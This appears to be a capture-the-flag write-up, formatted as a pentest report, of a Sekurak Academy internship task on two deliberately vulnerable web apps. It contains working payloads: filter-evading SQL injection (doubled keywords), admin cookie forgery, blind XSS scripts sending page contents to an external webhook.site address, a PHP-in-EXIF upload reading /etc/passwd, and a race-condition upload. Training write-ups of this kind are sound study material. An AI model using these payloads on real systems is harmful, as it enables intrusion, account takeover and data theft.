ℹ️ This was a Sekurak Academy Hacker Internship assignment

It was not obligatory to write a report. I tried to make it sound like a fully-featured pentesting report (although there are some deviations, given the nature of the CTF)

SubjectFind 13 flags hidden across 2 web applications
Author@carmaris
Date23-27.04.2024
Version1.1

Version history#

VersionDocument dateChanges
1.125-27.07.2024Added 3 additional flags description
1.024-25.07.2024Initial version

Executive Summary#

This document sums up work conducted by @carmaris during the Sekurak Academy Hacker Internship assignment.

The subject of the assignment was to obtain 10 flags hidden across the web application available at http://proba5tygodni.safety-online.pl.

Additionally, there were another 3 flags to obtain hidden at http://st4z.safety-online.pl/zadankonaocene6/.

The vulnerabilities found are:

  • Authorization - Broken Access Control
  • SQL Injection
  • Cross-Site Scripting
  • File Inclusion and Path Traversal
  • Mass Assignment
  • File Upload (without and with Race Condition)

Flags 1-10#

ℹ️ Info

Due to the informal nature of the assignment I describe the flags and how to find them instead of focusing solely on vulnerabilities themselves.

I keep the index-based order of the flags found.

Flag 1: robots.txt#

The tested application maintains the robots.txt file that contains the 1st flag:

User-agent: *
Disallow: /
## Fajnie, ze ktos tu zaglada - flaga: flag{proba5tygodni[1][PlikiRobotsTezSaWazne]}

Flag#

flag{proba5tygodni[1][PlikiRobotsTezSaWazne]}

Flag 2: Broken pagination of the Products#

The tested application does not implement proper pagination in the Products Catalogue (Katalog Produktów).

Technical details#

In order to obtain the 2nd flag I edited the padding query parameter to exceed over what seemed to be the maximal value (2).

https://proba5tygodni.safety-online.pl/index.php?page=products&padding=3

This step disclosed the hidden product containing the flag as a description:

Flag#

flag{proba5tygodni[2][DobrePaginacjeNigdyNieSaZle]}

Flag 3: Broken Access Control#

The tested application does not implement proper access control to the data. It is trivial to impose as the privileged admion user by abusing the remember cookie. By exploiting this vulnerability it is possible to:

  • access the Administrator Panel
  • read the files stored directly on the server
  • edit the prices in the store
  • lookup the users registered in the application

This vulnerability enables the attacker to use the other vulnerabilities of varying severity.

Technical details#

When intercepting the POST /?page=login request I noticed the Set-Cookie: remember=17;, Given the oddity of the value of 17 I checked what would happen if I set that cookie manually in Incognito Mode. It logged me back as carmaris.

ℹ️ POST /?page=login

The Remember me (Zapamiętaj mnie) option had to be selected to see the Set-Cookie: remember=17;.

Then I checked what would happen if I’d set it explicitly to 1. Once I logged out of the web application as carmaris, removed the PHPSESSID cookie and explicitly set the remember cookie’s value to 1, I was logged in as admion, an account with the access to the Administrator Panel.

The Panel itself showcased the 3rd flag.

Flag#

flag{proba5tygodni[3][AdminToDobryZiomLogujemySie]}

Flag 4: File Inclusion and Path Traversal in the Admin Panel#

The Administrator Panel in the web application is susceptible to File Inclusion and Path Traversal enabling the privileged users to read the files stored directly in the file system.

Prerequisites#

Access to the Administrator Panel.

Technical details#

During the initial reconnaissance I noticed the Forbidden path at http://proba5tygodni.safety-online.pl/files/.

Once I obtained the access to the Administrator Panel I was able to use the Files Manager feature and edit the path query string to read the files in the /files directory. One of these files (dluga_nazwa_pliku_z_sekretem.txt) contained the 4th flag.

Flag#

flag{proba5tygodni[4][PathTraversalBywaNaprawdeOkej]}

Flag 5: File Inclusion in the Admin Panel#

The Administrator Panel in the web application is susceptible to File Inclusion and Path Traversal enabling the privileged users to read the files stored directly in the file system.

Prerequisites#

Access to the Administrator Panel.

Technical details#

During the initial recon I noticed the /files/confidential.php file. It was not accessible directly though.

Once I obtained the Administrator Panel access I used the page query string to include this file into the web application:

http://proba5tygodni.safety-online.pl/?page=confidential

As described on the rendered page, I had to add the privileged=true cookie to enable rendering the flag:

Flag#

flag{proba5tygodni[5][LFIPlusCiastkaTakaNowosc]}

Flag 6: SQL Injection in Search Users box#

The Administrator Panel’s Users Search box is susceptible to SQL Injection, effectively enabling the privileged users to enumerate the database contents freely.

Prerequisites#

Access to the Administrator Panel.

Technical details#

Providing ' as the search query disclosed the presence of the SQL Injection vulnerability.

After lots of trials and errors, I tracked down an input that would not break the SQL query:

%' )) -- [mind the space]

I also confirmed the columns selected through the query using ORDER BY:

%' )) ORDER BY 6  -- this caused an error, meaning there were 5 columns selected

This made me try:

%' )) UNION SELECT null, null, null, null, null --

Unfortunately the SELECT keyword was redacted programmatically before reaching the final query. I tried to escape it as SELECT, yet it still didn’t work.

After another batch of trials and errors I found a working UNION SELECT payload:

%' )) UNION SELSELECTECT null, null, null, null, null --

(given the inner SELECT from the SELSELECT would be removed, the remainder would be a SELECT statement)

This payload ultimately led me to obtain the table data with:

admion%' )) UNION SELSELECTECT table_name, table_schema, table_catalog, table_type, null FROM information_schema.tables --

Among the outstanding tables there were a confidential_data table.

I picked the column names within the table:

admion%' )) UNION SELSELECTECT column_name, data_type, null, null, null FROM information_schema.columns WHERE table_name='confidential_data'

There was only one column of name flag that I also exfiltrated:

admion%' )) UNION SELSELECTECT flag, null, null, null, null FROM confidential_data

Flag#

flag{proba5tygodni[6][SQLPonownieCiePowital!]}

Flag 7: Request Forgery during the Checkout#

In the tested application it is possible to intercept the POST requests to the /?page=order to edit the ordered items quantity before it gets processed, effectively enabling users to place an order for some items without paying for them.

Technical details#

Once I intercepted the POST /?page=order&action=process request I investigated how tampering the POST body would affect the order feature.

Ultimately I found that setting the order[1][quantity]=0 technically allows me to buy the item without paying.

POST /?page=order&action=process HTTP/1.1
Host: proba5tygodni.safety-online.pl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://proba5tygodni.safety-online.pl
Connection: close
Referer: http://proba5tygodni.safety-online.pl/?page=order
Cookie: remember=1; PHPSESSID=qsbf36rvhort6ef76bor7bnej1; privileged=true
Upgrade-Insecure-Requests: 1

order%5B1%5D%5Bquantity%5D=0

Flag#

flag{proba5tygodni[7][DarmoweZakupyLubieJe.!]}

Flag 8: Cross-site Scripting in the Contact Form#

The Contact form (Kontakt) is vulnerable to XSS allowing the ordinary users to act on the privileged user behalf.

Technical details#

Once I tried the <script>alert(1)</script> in the Contact Form, I noticed the delay in response, confirming there might be an XSS vulnerability present.

After trying the payload that would send the stringified document to my very own webhook, I obtained the repsonse stating that the Contact Form messages are handled in /niedostepny_zzewnatrz123ojnie that I didn’t have access to:

{
  "location": {
    "ancestorOrigins": {},
    "href": "http://proba5tygodni.safety-online.pl/niedostepny_zzewnatrz123ojnie/",
    "origin": "http://proba5tygodni.safety-online.pl",
    "protocol": "http:",
    "host": "proba5tygodni.safety-online.pl",
    "hostname": "proba5tygodni.safety-online.pl",
    "port": "",
    "pathname": "/niedostepny_zzewnatrz123ojnie/",
    "search": "",
    "hash": ""
  }
}

That being said, I tried another payload that would send the document.body to the webhook of mine:

>
<script>
  var img = new Image();
  var doc = JSON.stringify(document.querySelector("body").innerHTML);

  img.src =
    "https://webhook.site/9efc2626-83db-4f28-bc19-1e3bfe9c97f4?doc=" + doc;
  document.body.appendChild(img);
</script>
// document.querySelector('body').innerText
"Panel Administratora\nPanel Dodaj nowego administratora Wyloguj\nOstatnia wiadomość do administratora\n\nPytanie użytkownika: >";
<!-- // document.querySelector('body').innerHTML -->
"<header><h1>Panel Administratora</h1></header><nav><a href=\"./\" class=\"active\">Panel</a><a href=\"./?page=add_new_admin\">Dodaj nowego administratora</a>\n <a href=\"

The ./?page=add_new_admin path was interesting enough to craft another payload (with some debug messages):

>
<script>
  var i = document.createElement("iframe");
  i.setAttribute("src", "/niedostepny_zzewnatrz123ojnie/?page=add_new_admin");

  i.onload = function () {
    var img3 = new Image();
    img3.src =
      "https://webhook.site/9efc2626-83db-4f28-bc19-1e3bfe9c97f4?iframe=true";
    document.body.appendChild(img3);

    try {
      var iframeContent = i.contentWindow.document.body.innerHTML;
      var encodedContent = encodeURIComponent(iframeContent);

      var img = new Image();

      img.src =
        "https://webhook.site/9efc2626-83db-4f28-bc19-1e3bfe9c97f4?flag=" +
        JSON.stringify(encodedContent);
      document.body.appendChild(img);
    } catch (e) {
      var img2 = new Image();

      img2.src =
        "https://webhook.site/9efc2626-83db-4f28-bc19-1e3bfe9c97f4?error=" +
        JSON.stringify(e.message);
      document.body.appendChild(img);
    }
  };

  document.body.appendChild(i);
</script>

The result was a request to the webhook with the flag query string containing the 8th flag:

"Brawo wykonałeś/aś interakcję w imieniu administratora, Twoja flaga to: flag{proba5tygodni[8][BoBlindXSSToNieTylkoCzytanie]}"

Flag#

flag{proba5tygodni[8][BoBlindXSSToNieTylkoCzytanie]}"

Flag 9: Edit Product#

Prerequisites#

Access to the Administrator Panel.

Technical details#

Once I obtained the access to the Administrator Panel I started another round of reconnaissance and found the flag in the Edit product (Edytuj) panel:

http: //proba5tygodni[.]safety-online.pl/?page=product_details&id=1&edit=1

Flag#

flag{proba5tygodni[9][NaAdminieTezWartoSprawdzacInnePodstrony]}

Flag 10: File Upload#

The Edit Profile avatar upload form is not validating the uplaod file format properly, allowing the users to upload malicious code obscured as image/jpeg.

Technical details#

First, I added a malicious code to the avatarcarma.jpeg image with exiftool:

exiftool -Comment="<?php echo file_get_contents("/etc/passwd"); ?>

Then I renamed it as avatarcarma.php. I started intercepting the requests and uploaded the prepared .php file via the upload form.

In the intercepted POST /?page=account request I modified the file’s Content-Type to image/jpeg and passed it further.

As a result I obtained the last flag:

Flag#

flag{proba5tygodni[10][WebShellNiejestMiobcy]}

Flags 11-13#

The additional scope included finding 3 flags hidden across the web application available at http://st4z.safety-online.pl/zadankonaocene6/.

The web application does not link to any subpages directly and the only interactivity lies in the /?page=home.php query parameter.

I used gobuster to find any subdirectories and subpages:

gobuster fuzz -u st4z.safety-online.pl/zadankonaocene6/FUZZ -w /usr/share/wordlists/dirb/small.txt --random-agent -b 404
## output redacted
Found: [Status=301] [Length=344] [Word=css] http://st4z.safety-online.pl/zadankonaocene6/css
Found: [Status=301] [Length=349] [Word=database] http://st4z.safety-online.pl/zadankonaocene6/database

The database directory includes task---*.php files. These can be included via the page query string parameter to enable three additional tasks. They need to be done in order to obtain flags 11-13 respectively.

Flag 11: SQL Injection#

The Search input available at https://st4z.safety-online.pl/zadankonaocene6/?page=task---1 is prone to SQL Injection allowing to read the schema and contents of the MySQL database.

Technical Details#

I confirmed the SQL Injection vulnerability with a payload of:

' -- (mind the whitespace)

Then I tried a bit more sophisticated payloads that allowed me to confirm some of the SQL Injection prevention techniques used by the developer:

  • The query itself has a hardcoded condition of WHERE ukryte=0 that effectively prevents selecting the hidden rows
  • For the SQL-like payload the whitespaces are replaced with underscores (_)
  • Several keywords like UNION, SELECT, ORDER, FROM are removed from the query

💡 There acsrf token

Additionally there is a CSRF-like SQL Injection prevention technique applied that made injecting the SQL code a bit harder. The token is not a server-side generated CSRF token, but a timestamp encoded with base64.

The first step was to circumvent the ukryte=0 condition. This payload worked fine:

1'OR'1'='1'OR'ukryte'='1')))#

Then I crafted a payload that would not use whitespaces and would allow me to exfiltrate data from information_schema:

1'OR'1'='1'OR'ukryte'='1')))UNIUNIONON(SELSELECTECT(table_name),'b','c'FFROMROM(information_schema.tables))#

This allowed me to find 2 outstanding tables (zadanko1 and flag1) in the database. To find out the schema of flag1 I used a payload of:

1'OR'1'='1'OR'ukryte'='1')))UNIUNIONON(SELSELECTECT(column_name),'b','c'FFROMROM(information_schema.columns)WHEWHERERE(table_name='flag1'))#

This resulted in id and flag columns being part of the flag1 table.

Ultimately I’ve been able to use this payload to find the flag:

1'OR'1'='1'OR'ukryte'='1')))UNIUNIONON(SELSELECTECT(id),flag,('c')FFROMROM(flag1))#

Flag#

flag{proba5tygodni[11][SQLiCieNigdyNieOpusci]}

Flag 12: Mass Assignment#

The POST /zadankonaocene6/?page=task---2 request is prone to Mass Assignment vulnerability allowing the adversary to guess the parameter needed to obtain permissions sufficient to create new account in the system.

There also exists a reflected XSS vulnerability that can help with exploitation of the Mass Assignment without having to intercept the POST request.

Technical details#

During the examination of the task---2 subpage, I noticed there are 4 hidden inputs of user[nazwa] (username), user[is-logged], user[is-active] and user[browser] sent to the server once the Add new account (Dodaj nowe konto) button is clicked.

The user[browser] value is taken directly from the GET /?page-task---2 request header, namely the User-Agent and can be abused to reflect an arbitrary value, like another <input type="hidden" ... >.

Sending the request as is resulted in the insufficient permissions (Brak uprawnień!) error message.

Lack of any other feedback raised the question if I can find another <input name="user[...] ... > (the POST request body parameter).

Trying the different wordlists didn’t work. This hinted the name was a non-common one, perhaps related to the website, or the assignment in general.

After spending hours on guessing the valid parameter, I finally found the user[is-sekurak]=true key-value pair that worked and disclosed the flag:

POST /zadankonaocene6/?page=task---2 HTTP/2
[...]

user%5Bnazwa%5D=wesolek13&user%5Bis-logged%5D=true&user%5Bis-active%5D=true&user%5Bbrowser%5D=Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10.15%3B+rv%3A125.0%29+Gecko%2F20100101+Firefox%2F125.0&user%5Bis-sekurak%5D=true

Flag#

flag{proba5tygodni[12][mAssiMasnoPostBycZly]}

Flag 13: Race Condition in File Upload#

The File Upload form available at https://st4z.safety-online.pl/zadankonaocene6/?page=task---3 does not implement the file format validation properly allowing the user to upload and execute a PHP file in a very short period of time.

Technical details#

Uploading the *.php file in the File Upload form resulted in a dangerous file detected error message (Wykryto niebezpieczny plik!<md5-like string>).

Interestingly, the MD5-like string did not change for the same file, leading to the assumption that it is a hash of the properties distinctive to that particular file.

Furthermore, uploading a valid *.jpg file resulted in saving said file as <md5-like file name>.jpg to /zadankonaocene6/database/uploads/. The ultimate filename was the same for the same uploaded file.

I also noticed that trying to upload the *.php file took slightly longer than uploading a valid image.

These 3 characteristics led me to conclusion that uploading the *.php exploit results, in fact, in saving the file to uploads/, then examining the saved file and removing it if it gets flagged as dangerous.

If this conclusion was correct, the short period before saving the *.php file to uploads/ and removing it should be enough to exploit the Race Condition vulnerability.

With all of that in mind I combined two requests (one for uploading a *.php file and one for fetching it) in a group in Burp Suite and sent them in parallel, ultimately obtaining the 13th flag.

Flag#

flag{proba5tygodni[13][DobryWyscigNigdyNiejestZly.]}

Minions#

While, technically, finding Minions was not in the scope of the assignment, their presence gave a refreshing perspective on the flags hunt.

During testing the web application I found 13/13 Minions hidden by the assignment author: